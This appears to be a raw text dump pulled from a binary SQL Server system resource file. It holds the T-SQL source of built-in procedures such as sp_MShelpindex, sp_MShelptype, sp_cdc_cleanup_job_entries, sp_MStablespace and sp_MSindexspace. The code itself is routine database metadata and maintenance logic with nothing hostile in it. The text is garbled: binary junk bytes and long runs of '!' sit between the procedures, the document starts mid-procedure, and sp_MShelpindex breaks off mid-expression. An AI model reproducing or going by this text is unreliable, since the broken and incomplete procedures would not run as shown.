      left outer join (select distinct FT_COLNAME = scol.name, FT_ID = sdep.number from dbo.syscolumns scol, dbo.sysdepends sdep where
                       scol.colid = sdep.depnumber and
                       sdep.deptype = 1 and
                       scol.id = @objid and
                       sdep.depid = @objid and
                       ColumnProperty(sdep.id, scol.name, N'IsTypeForFullTextBlob') = 1) as d on c.col_id = d.FT_ID
		order by c.col_name
	end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
/#ZmvpJcreate procedure sys.sp_MShelpindex
@tablename nvarchar(517), @indexname nvarchar(258) = null, @flags int = null
as
   /*** @flags added for DaVinci uses.  If the bit isn't set, use 6.5 ***/
   /*** sp_MShelpindex '%s', null, 1                                  ***/




	create table #tempID
	   (
      cName  nvarchar(132) COLLATE database_default NOT NULL,      /* Index name */
      cInx1 int NULL, cInx2  int NULL, cInx3  int NULL, cInx4  int NULL, cInx5  int NULL, cInx6  int NULL,
      cInx7  int NULL, cInx8  int NULL, cInx9  int NULL, cInx10 int NULL, cInx11 int NULL, cInx12 int NULL, 
      cInx13 int NULL, cInx14 int NULL, cInx15 int NULL, cInx16 int NULL,   /* 1 if DESC  */
      cC1  int NULL, cC2  int NULL, cC3  int NULL, cC4  int NULL, cC5  int NULL, cC6  int NULL, 
      cC7  int NULL, cC8  int NULL, cC9  int NULL, cC10 int NULL, cC11 int NULL, cC12 int NULL, 
      cC13 int NULL, cC14 int NULL, cC15 int NULL, cC16 int NULL   /* 1 if Computed column  */
      )

   create table #tempID2
      (
      cName     nvarchar(132) COLLATE database_default NOT NULL,      /* Index name */
      cInx      int NULL,                                  /* Combined info */
      cComputed int NULL                                  /* 1 if on computed column(s) */
      )

   /* @flags is for daVinci */
   if (@flags is null)
      select @flags = 0

   set nocount on
   insert #tempID
      select i.name,
      indexkey_property(object_id(@tablename), i.indid, 1, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 2, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 3, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 4, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 5, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 6, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 7, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 8, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 9, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 10, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 11, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 12, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 13, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 14, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 15, N'isdescending'),
      indexkey_property(object_id(@tablename), i.indid, 16, N'isdescending'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 1), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 2), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 3), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 4), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 5), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 6), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 7), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 8), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 9), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 10), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 11), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 12), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 13), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 14), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 15), N'IsComputed'),
      columnproperty(object_id(@tablename), index_col(@tablename, i.indid, 16), N'IsComputed')
      from dbo.sysindexes i
      where id = object_id(@tablename) and i.indid > 0 and i.indid < 255
      and (@indexname is null or i.name = @indexname)
      and (indexkey_property(object_id(@tablename), i.indid, 1, N'isdescending') is not null)
      and (i.name is not null)
      order by i.indid

      /* Construct the bit */
      declare @idx int, @isComputed int
      declare @Name nvarchar(132)
      declare @Inx_1 int, @Inx_2 int, @Inx_3 int, @Inx_4 int, @Inx_5 int, @Inx_6 int, @Inx_7 int, @Inx_8 int
      declare @Inx_9 int, @Inx_10 int, @Inx_11 int, @Inx_12 int, @Inx_13 int, @Inx_14 int, @Inx_15 int, @Inx_16 int
      declare @C_1 int, @C_2 int, @C_3 int, @C_4 int, @C_5 int, @C_6 int, @C_7 int, @C_8 int
      declare @C_9 int, @C_10 int, @C_11 int, @C_12 int, @C_13 int, @C_14 int, @C_15 int, @C_16 int
      declare hC cursor global for select * from #tempID
      open hC
      fetch next from hC into @Name, @Inx_1, @Inx_2, @Inx_3, @Inx_4, @Inx_5, @Inx_6, @Inx_7, @Inx_8,
                              @Inx_9, @Inx_10, @Inx_11, @Inx_12, @Inx_13, @Inx_14, @Inx_15, @Inx_16,
                              @C_1, @C_2, @C_3, @C_4, @C_5, @C_6, @C_7, @C_8,
                              @C_9, @C_10, @C_11, @C_12, @C_13, @C_14, @C_15, @C_16
      while (@@FETCH_STATUS = 0)
         begin
         /* descending? */
         select @idx = 0x0000
         select @idx = (case when (@Inx_1 = 1) then @idx | 0x0001 else @idx end), @idx = (case when (@Inx_2 = 1) then @idx | 0x0002 else @idx end), @idx = (case when (@Inx_3 = 1) then @idx | 0x0004 else @idx end), @idx = (case when (@Inx_4 = 1) then @idx | 0x0008 else @idx end), @idx = (case when (@Inx_5 = 1) then @idx | 0x0010 else @idx end), @idx = (case when (@Inx_6 = 1) then @idx | 0x0020 else @idx end), @idx = (case when (@Inx_7 = 1) then @idx | 0x0040 else @idx end), @idx = (case when (@Inx_8 = 1) then @idx | 0x0080 else @idx end),
                @idx = (case when (@Inx_9 = 1) then @idx | 0x0100 else @idx end), @idx = (case when (@Inx_10 = 1) then @idx | 0x0200 else @idx end), @idx = (case when (@Inx_11 = 1) then @idx | 0x0400 else @idx end), @idx = (case when (@Inx_12 = 1) then @idx | 0x0800 else @idx end), @idx = (case when (@Inx_13 = 1) then @idx | 0x1000 else @idx end), @idx = (case when (@Inx_14 = 1) then @idx | 0x2000 else @idx end), @idx = (case when (@Inx_15 = 1) then @idx | 0x4000 else @idx end), @idx = (case when (@Inx_16 = 1) then @idx | 0x8000 else @idx end)
         select @isComputed = 0
         select @isComputed = (case when (@C_1 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_2 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_3 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_4 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_5 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_6 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_7 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_8 = 1) then @isComputed | 1 else @isComputed end),
                @isComputed = (case when (@C_9 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_10 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_11 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_12 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_13 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_14 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@C_15 = 1) then @isComputed | 1 else @isComputed end), @isComputed = (case when (@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<b 
/?G0 <8create procedure sys.sp_MShelptype
@typename nvarchar(517) = null, @flags nvarchar(10) = null
as

	/* Need a temp table so we can ownerqualify nonNULL rules/defaults. */
	create table #sphelptype (
		dt_xusertype   int  NULL,
		dt_basetype    nvarchar(128) COLLATE database_default NULL,
		dt_rul         int  NULL,
		dt_def         int  NULL,

		dt_rulowner    nvarchar(128) COLLATE database_default NULL,
		dt_rulname     nvarchar(128) COLLATE database_default NULL,
		dt_defowner    nvarchar(128) COLLATE database_default NULL,
		dt_defname     nvarchar(128) COLLATE database_default NULL,
		dt_flags       int  NULL
	)

	if (@typename = N'?')
	begin
		print N''
		print N'Usage:  sp_MShelptype @typename = null, @flags nvarchar(10) = null'
		print N' where @flags is either:'
		print N' sdt		= look in system datatypes'
		print N' uddt  	= look in user defined datatypes'
		print N' null	= look wherever its found'
		print N''
		return 0
	end

	/* Catch typos... */
	if (@flags is not null and @flags not in (N'sdt', N'uddt'))
		select @flags = null

	/* Find out what type we're gonna be looking in, if they gave us a name. */
	if (@typename is not null)
	begin
		declare @xusertype int
		select @xusertype = xusertype from dbo.systypes where name = @typename
		if (@xusertype is not null)
		begin
			if (@xusertype < 257)
			begin
				if (@flags is null)
					select @flags = N'sdt'
				if (@flags != N'sdt')
					select @xusertype = null
			end else begin
				if (@flags is null)
					select @flags = N'uddt'
				if (@flags != N'uddt')
					select @xusertype = null
			end
		end
		if (@xusertype is null)
		begin
			RAISERROR (15001, -1, -1, @typename)
			return 1
		end
	end

	/* Now go get the info, depending on the type they gave us. */
	if (@flags is null or @flags = N'sdt')
	begin
		/* Exclude the 'xxxxn' dblib-specific nullable types, and hardcode a check for variable length and numeric usertypes. */
      /* 7.0 ifvarlen_max returns length for all the datatypes */
		select 	SystemDatatypeName = t.name,
				ifvarlen_max = y.length,
					-- timestamp allows nulls even though the system tables say it doesn't.
				allownulls = case when t.name in (N'timestamp') then 1 else t.allownulls end,
				isnumeric = case when t.name in (N'decimal', N'numeric') then 1 else 0 end,
				allowidentity = case when t.name in (N'decimal', N'int', N'numeric', N'smallint', N'tinyint', N'bigint') then 1 else 0 end,
            variablelength = t.variable,
            max_len = t.length, prec_len = t.prec,
            collation = t.collation
         from dbo.systypes t left outer join dbo.systypes y on t.xusertype = y.xusertype 
         and  y.name in ( N'char', N'varchar', N'binary', N'varbinary', N'nchar', N'nvarchar' )
         where t.xusertype < 257 and t.name not in (N'datetimn', N'decimaln', N'floatn', N'intn', N'moneyn', N'numericn') and (@typename is null or t.name = @typename) 
         order by t.name
	end

	if (@flags is null or @flags = N'uddt')
	begin
		set nocount on
		insert #sphelptype (dt_xusertype, dt_basetype, dt_rul, dt_def, dt_flags)
			select t.xusertype,
			(select distinct b.name from dbo.systypes b where b.xtype = t.xtype and b.xusertype < 257 and b.name not in (N'sysname', N'timestamp', N'date', N'time')),
			t.domain, t.tdefault, 0
			from dbo.systypes t
			where t.xusertype > 256 and (@typename is null or t.name = @typename)

		/* Make a nice, presentable qualified rule/default name for those which are non-null */
      update #sphelptype set dt_defowner = schema_name(d.schema_id)
            from #sphelptype c, sys.all_objects d where c.dt_def is not null and d.object_id = c.dt_def
      update #sphelptype set dt_defname = d.name
            from #sphelptype c, sys.all_objects d where c.dt_def is not null and d.object_id = c.dt_def

      update #sphelptype set dt_rulowner = schema_name(r.schema_id)
            from #sphelptype c, sys.all_objects r where c.dt_rul is not null and r.object_id = c.dt_rul
      update #sphelptype set dt_rulname =  r.name
            from #sphelptype c, sys.all_objects r where c.dt_rul is not null and r.object_id = c.dt_rul

		/* For scripting, set the dt_flags -- these apply to the BASE datatype. */
		update #sphelptype set dt_flags = dt_flags | 0x0001 where dt_basetype in ( N'char', N'varchar', N'binary', N'varbinary', N'nchar', N'nvarchar')
		update #sphelptype set dt_flags = dt_flags | 0x0002 where dt_basetype in (N'numeric', N'decimal')

		set nocount off
		select distinct UserDatatypeName = t.name,
				owner = schema_name(syst.schema_id),
				-- The subquery fails if the current db is of a different collation from tempdb.
				-- Also, not user why the subquery is being used in the 1st place
				-- basetypename = (select distinct b.name from dbo.systypes b where b.name = s.dt_basetype),
				basetypename = dt_basetype,
				defaultname = dt_defname,
				rulename = dt_rulname,
				tid = t.xusertype,
				length = case when s.dt_basetype in (N'char', N'varchar', N'binary', N'varbinary', N'nchar', N'nvarchar') then t.length else 0 end,
				nullable = t.allownulls,
				dt_prec = case when s.dt_basetype in (N'numeric', N'decimal') then t.prec else null end,
				dt_scale = case when s.dt_basetype in (N'numeric', N'decimal') then t.scale else null end,
				dt_flags,
				allowidentity = case when (s.dt_basetype in (N'decimal', N'int', N'numeric', N'smallint', N'tinyint', N'bigint') and t.scale = 0) then 1 else 0 end,
            variablelength = t.variable,
            /* char count for string datatype, byte count for others */
				maxlen = case when s.dt_basetype in (N'char', N'varchar', N'binary', N'varbinary', N'nchar', N'nvarchar') then t.prec else t.length end,
            defaultowner = dt_defowner,
            ruleowner = dt_rulowner,
            collation = t.collation
			from dbo.systypes t, sys.types syst, #sphelptype s
			where t.xusertype > 256 and (@typename is null or t.name = @typename)
				and dt_xusertype = t.xusertype
                and t.xusertype = syst.user_type_id
			order by t.name
	end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<\!
N0(0@ 8create procedure sys.sp_cdc_cleanup_job_entries 
(
	@event_type sysname,
	@old_database_name sysname,
	@new_database_name sysname
)
with execute as 'dbo'
as
begin
	set nocount on
	
	declare @database_id INT
		,@job_id uniqueidentifier
		,@step_id INT
		,@job_type nvarchar(20)

	declare #hjob cursor local fast_forward
	for
		select c.job_id, s.step_id, c.job_type, c.database_id
			from msdb.dbo.cdc_jobs c join msdb.dbo.sysjobsteps s on c.job_id = s.job_id
			where s.database_name = @old_database_name collate database_default

	open #hjob
	fetch #hjob into @job_id, @step_id, @job_type, @database_id

	while (@@fetch_status <> -1)
	begin
		if (@event_type = N'DROP_DATABASE')
		begin
			exec msdb.dbo.sp_delete_job @job_id = @job_id
		end
		else if (@event_type = N'ALTER_DATABASE')
		begin	
			exec msdb.dbo.sp_update_jobstep @job_id = @job_id, @step_id = @step_id, @database_name = @new_database_name
		end
		fetch #hjob into @job_id, @step_id, @job_type, @database_id
	end	
	close #hjob
	deallocate #hjob


	if (@event_type = N'DROP_DATABASE')
	begin
		-- remove the record from cdc_jobs
		delete from msdb.dbo.cdc_jobs 
		    where (database_id = @database_id or db_name(database_id) is null)

		-- if this is the last job, drop the table
		if not exists (select database_id from msdb.dbo.cdc_jobs)
		    drop table msdb.dbo.cdc_jobs
	end
	
	return 0
	
end
07 8create function [sys].[fn_cdc_has_select_access]				
(														
	@capture_instance	sysname
)
returns bit
with returns null on null input
as													
begin
	
	declare @quoted_source nvarchar(780)
		,@role sysname
		
	-- Determine the name of the gating role if one exists
	select @role = [sys].[fn_cdc_get_role](@capture_instance)

	-- If the gating role is not null and the caller is not a member
	-- of the role, the db_owner, or sysadmin, deny access
	if 	(isnull(is_srvrolemember('sysadmin'),0) = 0) 
		and (isnull(is_member('db_owner'),0) = 0)
		and (@role is not null)
		and (isnull(is_member(@role),0) = 0)
	begin
		return 0
	end
	
	-- Determine the name of the associated source table
	select @quoted_source = [sys].[fn_cdc_get_source](@capture_instance)
	select @quoted_source = quotename(db_name()) + N'.' + @quoted_source
	
	-- Determine whether the caller has select access on the tracked columns
	if exists
	(
		select name from sys.fn_cdc_get_column_list(@capture_instance)	
		where has_perms_by_name(@quoted_source, 'OBJECT', 'SELECT', quotename(name), 'COLUMN') = 0
	)
	begin
		return 0
	end	

	return 1												
end																	
0: D8Th~"{0 :8
create procedure sys.sp_MStablespace
@name nvarchar(517), @id int = null
as
	declare @rows int, @datasizeused int, @indexsizeused int, @pagesize int
	declare @dbname nvarchar(128)
	select @dbname = db_name()

	if (@id is null)
		select @id = id from dbo.sysobjects where id = object_id(@name) and (OBJECTPROPERTY(id, N'IsTable') = 1)
	if (@id is null)
	begin
		RAISERROR (15009, -1, -1, @name, @dbname)
		return 1
	end

	/* rows */
	SELECT @rows = convert(int, rowcnt)
		FROM dbo.sysindexes
		WHERE indid < 2 and id = @id

	if (object_id('master.dbo.sp_MSSQLDMO90_version') is not null)
	BEGIN

		/* data */
		SELECT @datasizeused =
			SUM(CASE WHEN a.type <> 1 THEN a.used_pages 
					WHEN p.index_id < 2 THEN a.data_pages 
					ELSE 0 
				END) 
		FROM sys.indexes as i
		JOIN sys.partitions as p ON p.object_id = i.object_id and p.index_id = i.index_id
		JOIN sys.allocation_units as a ON a.container_id = p.partition_id
		where i.object_id = @id

		/* index */
		SELECT @indexsizeused = 
			sum(isnull(sidx.used,0)-isnull(sidx.dpages,0))
			FROM dbo.sysindexes sidx
			WHERE sidx.indid < 2 and sidx.id = @id
	END
	ELSE
	BEGIN
		/* data */
		SELECT @datasizeused =
		(SELECT sum(dpages)
		FROM dbo.sysindexes
		WHERE indid < 2 and id = @id)
		+
		(SELECT isnull(sum(used), 0)
		FROM dbo.sysindexes
		WHERE indid = 255 and id = @id)

		/* Do not consider 2 < indid < 255 rows, those are nonclustered indices, and the space used by them are included by indid = 0(table) */
		/* or indid = 1(clustered index) already.  indid = 0(table) and = 1(clustered index) are mutual exclusive */
		/* index */
		SELECT @indexsizeused =
		(SELECT sum(used)
		FROM dbo.sysindexes
		WHERE indid in (0, 1, 255) and id = @id)
		- @datasizeused
	END

	/* Pagesize on this server (sysindexes stores size info in pages) */
	select @pagesize = v.low / 1024 from master..spt_values v where v.number=1 and v.type=N'E'

	select Rows = @rows, DataSpaceUsed = @datasizeused * @pagesize, IndexSpaceUsed = @indexsizeused * @pagesize
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
"`	<	G"
^0kuS0ˢ@ D8Fh"0@ 28create procedure sys.sp_MSsubtractbm
	@bm1 varbinary(128),
	@bm2 varbinary(128),
	@bmout varbinary(128) output
as
	declare @len1 int
	set @len1= datalength(@bm1)
	declare @len2 int
	set @len2= datalength(@bm2)

	declare @idx int
	set @idx= 1

	while @idx <= @len2
	begin
		if 1=@idx
		begin
			set @bmout= cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint)
			if @@error<>0 return 1
		end
		else
		begin
			set @bmout= @bmout + cast(cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint) as varbinary)
			if @@error<>0 return 1
		end

		set @idx= @idx+1
	end

	if @len1 > @len2
	begin
		set @bmout= @bmout + substring(@bm1, @idx, @len1-@len2)
		if @@error<>0 return 1
	end

	return 0
0@ 8CREATE VIEW sys.indexes$ AS
	SELECT id AS object_id,
		indid AS index_id,
		rowset
	FROM sys.sysidxstats
	WHERE indid < 256000 AND (status & 1) = 1 -- IS_INDEX
0: 8
create procedure sys.sp_procedure_params_100_managed
(
	@procedure_name 	sysname,
	@group_number		int = 1,
	@procedure_schema	sysname = null,
	@parameter_name 	sysname = null
)
as
	select
		PARAMETER_NAME,
		PARAMETER_TYPE,
		MANAGED_DATA_TYPE,
		CHARACTER_MAXIMUM_LENGTH,
		NUMERIC_PRECISION,
		NUMERIC_SCALE,
		TYPE_CATALOG_NAME			= SS_TYPE_CATALOG_NAME,
		TYPE_SCHEMA_NAME			= SS_TYPE_SCHEMANAME,
		TYPE_NAME,
		XML_CATALOGNAME 			= SS_XML_SCHEMACOLLECTION_CATALOGNAME,
		XML_SCHEMANAME				= SS_XML_SCHEMACOLLECTION_SCHEMANAME,
		XML_SCHEMACOLLECTIONNAME	= SS_XML_SCHEMACOLLECTIONNAME,
		SS_DATETIME_PRECISION

	from
		sys.fn_procedure_params_90_rowset(
			@procedure_name,
			@group_number,
			@procedure_schema,
			@parameter_name)

	order by PROCEDURE_SCHEMA, PROCEDURE_NAME, ORDINAL_POSITION
	option (OPTIMIZE CORRELATED UNION ALL)
0 "8
CREATE PROCEDURE sys.sp_MSindexspace
	@tablename nvarchar(517), @index_name nvarchar(258) = NULL
AS
BEGIN

    CREATE TABLE #IndexSizeTemp (
		IndexID    tinyint  NOT NULL,
		IndexName  nvarchar(128) COLLATE database_default  NOT NULL,
		IndexSize  int  NOT NULL,
		Comments   nvarchar(28)  COLLATE database_default NOT NULL
	)

  DECLARE @table_id int
  DECLARE @index_id int
  DECLARE @msg nvarchar(2000)
  DECLARE @pagesize int
  select @pagesize = v.low / 1024 from master..spt_values v where v.number=1 and v.type=N'E'

  /* Make sure @tablename is local to the current database */

  /* Make sure that @tablename and @index_name exist, we are checking table instead of UserTable */
  SELECT @table_id = id
  FROM dbo.sysobjects
  WHERE (id = object_id(@tablename))
    AND ((OBJECTPROPERTY(id, N'IsTable') = 1) OR (OBJECTPROPERTY(id, N'IsView') = 1))
  IF (@table_id is NULL)
  BEGIN
    RAISERROR (15001, -1, -1, @tablename)
    RETURN(1)
  END
  IF (@index_name is not NULL)
  BEGIN
    SELECT @index_id = indid
    FROM dbo.sysindexes
    WHERE (name = @index_name)
      AND (id = object_id(@tablename))
    IF (@index_id is NULL)
    BEGIN
      SELECT @msg = @tablename + N'.' + @index_name
      RAISERROR (15001, -1, -1, @msg)
      RETURN(1)
    END
  END
  /* Ok, we're good to go */
  IF (user_id() = 1)
    CHECKPOINT
  IF (@index_name is NULL)
  BEGIN
    INSERT INTO #IndexSizeTemp
    SELECT indid, name, 0, N''
    FROM dbo.sysindexes
    WHERE (id = object_id(@tablename))
      AND ((indid > 0) AND (indid < 255))
    UPDATE #IndexSizeTemp
    SET IndexSize = used * @pagesize,
        Comments = N'(None)'
    FROM dbo.sysindexes si, #IndexSizeTemp ist
    WHERE (id = object_id(@tablename))
      AND (indid > 1) AND (indid < 255)
      AND (si.indid = ist.IndexID)
    UPDATE #IndexSizeTemp
    SET IndexSize = (used - dpages - isnull((SELECT sum(used)
                                             FROM dbo.sysindexes
                                             WHERE (indid > 1) AND (indid < 255)
                                               AND (id = object_id(@tablename))), 0)) * @pagesize,
        Comments = N'Size excludes actual data.'
    FROM dbo.sysindexes si, #IndexSizeTemp ist
    WHERE (id = object_id(@tablename))
      AND (indid = 1)
      AND (si.indid = ist.IndexID)
    SELECT N'Index ID' = IndexID, N'Index Name' = IndexName, N'Size (KB)' = IndexSize, Comments
    FROM #IndexSizeTemp
    ORDER BY IndexID
    DROP TABLE #IndexSizeTemp
  END
  ELSE
  BEGIN
    DECLARE @indid int
    SELECT @indid = indid
    FROM dbo.sysindexes
    WHERE (id = object_id(@tablename))
      AND (name = @index_name)
    /* The non-clustered index case */
    IF ((@indid > 1) AND (@indid < 255))
    BEGIN
      SELECT N'Size (KB)' = used * @pagesize
      FROM dbo.sysindexes
      WHERE (id = object_id(@tablename))
        AND (name = @index_name)
      RETURN(0)
    END
    /* The clustered index case */
    IF (@indid = 1)
    BEGIN
      SELECT N'Size (KB)' =
             (used - dpages - isnull((SELECT sum(used)
                                      FROM dbo.sysindexes
                                      WHERE (indid > 1) AND (indid < 255)
                                        AND (id = object_id(@tablename))
                                        AND (name = @index_name)), 0)) * @pagesize
      FROM dbo.sysindexes
      WHERE (id = object_id(@tablename))
        AND (name = @index_name)
    END
  END
  RETURN(0)
END
